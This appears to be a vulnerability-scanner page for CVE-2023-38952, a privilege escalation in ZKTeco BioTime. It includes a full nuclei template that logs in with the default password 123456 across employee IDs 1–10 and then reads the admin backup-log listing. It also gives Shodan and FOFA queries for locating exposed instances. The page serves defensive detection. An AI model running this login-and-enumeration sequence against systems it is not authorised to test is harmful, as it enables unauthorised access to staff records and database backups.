ZKTeco BioTime <= 9.0.1 - Privilege Escalation

highseverity

7.3CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

BioTime default employee credentials (password 123456) allow login. Sessions are not role-validated, enabling privilege escalation to perform admin actions and enumerate backup files.

Impact

Unauthenticated attackers can access sensitive files and credentials, leading to data breach and potential system compromise.

Fix

Implement proper authentication and access controls for static file resources, and update to the latest version if available.

How to confirm it

Send: GET /login/
Send: POST /login/
Send: GET /base/dbbackuplog/table/?page=1&limit=1
Positive when: contains_all(body, "db_type\":", "backup_file\":") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2023-38952 -u <target>

The full check

id: CVE-2023-38952

info:
  name: ZKTeco BioTime <= 9.0.1 - Privilege Escalation
  author: riteshs4hu
  severity: high
  description: |
    BioTime default employee credentials (password 123456) allow login. Sessions are not role-validated, enabling privilege escalation to perform admin actions and enumerate backup files.
  impact: |
    Unauthenticated attackers can access sensitive files and credentials, leading to data breach and potential system compromise.
  remediation: |
    Implement proper authentication and access controls for static file resources, and update to the latest version if available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38951
    - https://krashconsulting.com/fury-of-fingers-biotime-rce/
    - https://github.com/omair2084/biotime-rce-8.5.5/blob/main/biotime_enum.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.3
    cve-id: CVE-2023-38952
    epss-score: 0.0266
    epss-percentile: 0.8582
    cwe-id: CWE-552
    cpe: cpe:2.3:a:zkteco:biotime:8.5.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: zkteco
    product: biotime
    max-request: 12
    shodan-query: http.html:"ZKTeco Security"
    fofa-query: body="ZKTeco Security"
  tags: cve,cve2023,biotime,zkteco,auth-bypass,priv-esc,vkev,vuln

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        part: body
        regex:
          - "name='csrfmiddlewaretoken' value='([a-zA-Z0-9]+)'"

  - raw:
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrf}}
        Content-Type: application/x-www-form-urlencoded

        username={{user}}&password=123456&captcha=&login_user=employee

    payloads:
      user:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"
    attack: clusterbomb
    stop-at-first-match: true

  - raw:
      - |
        GET /base/dbbackuplog/table/?page=1&limit=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "db_type\":", "backup_file\":")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from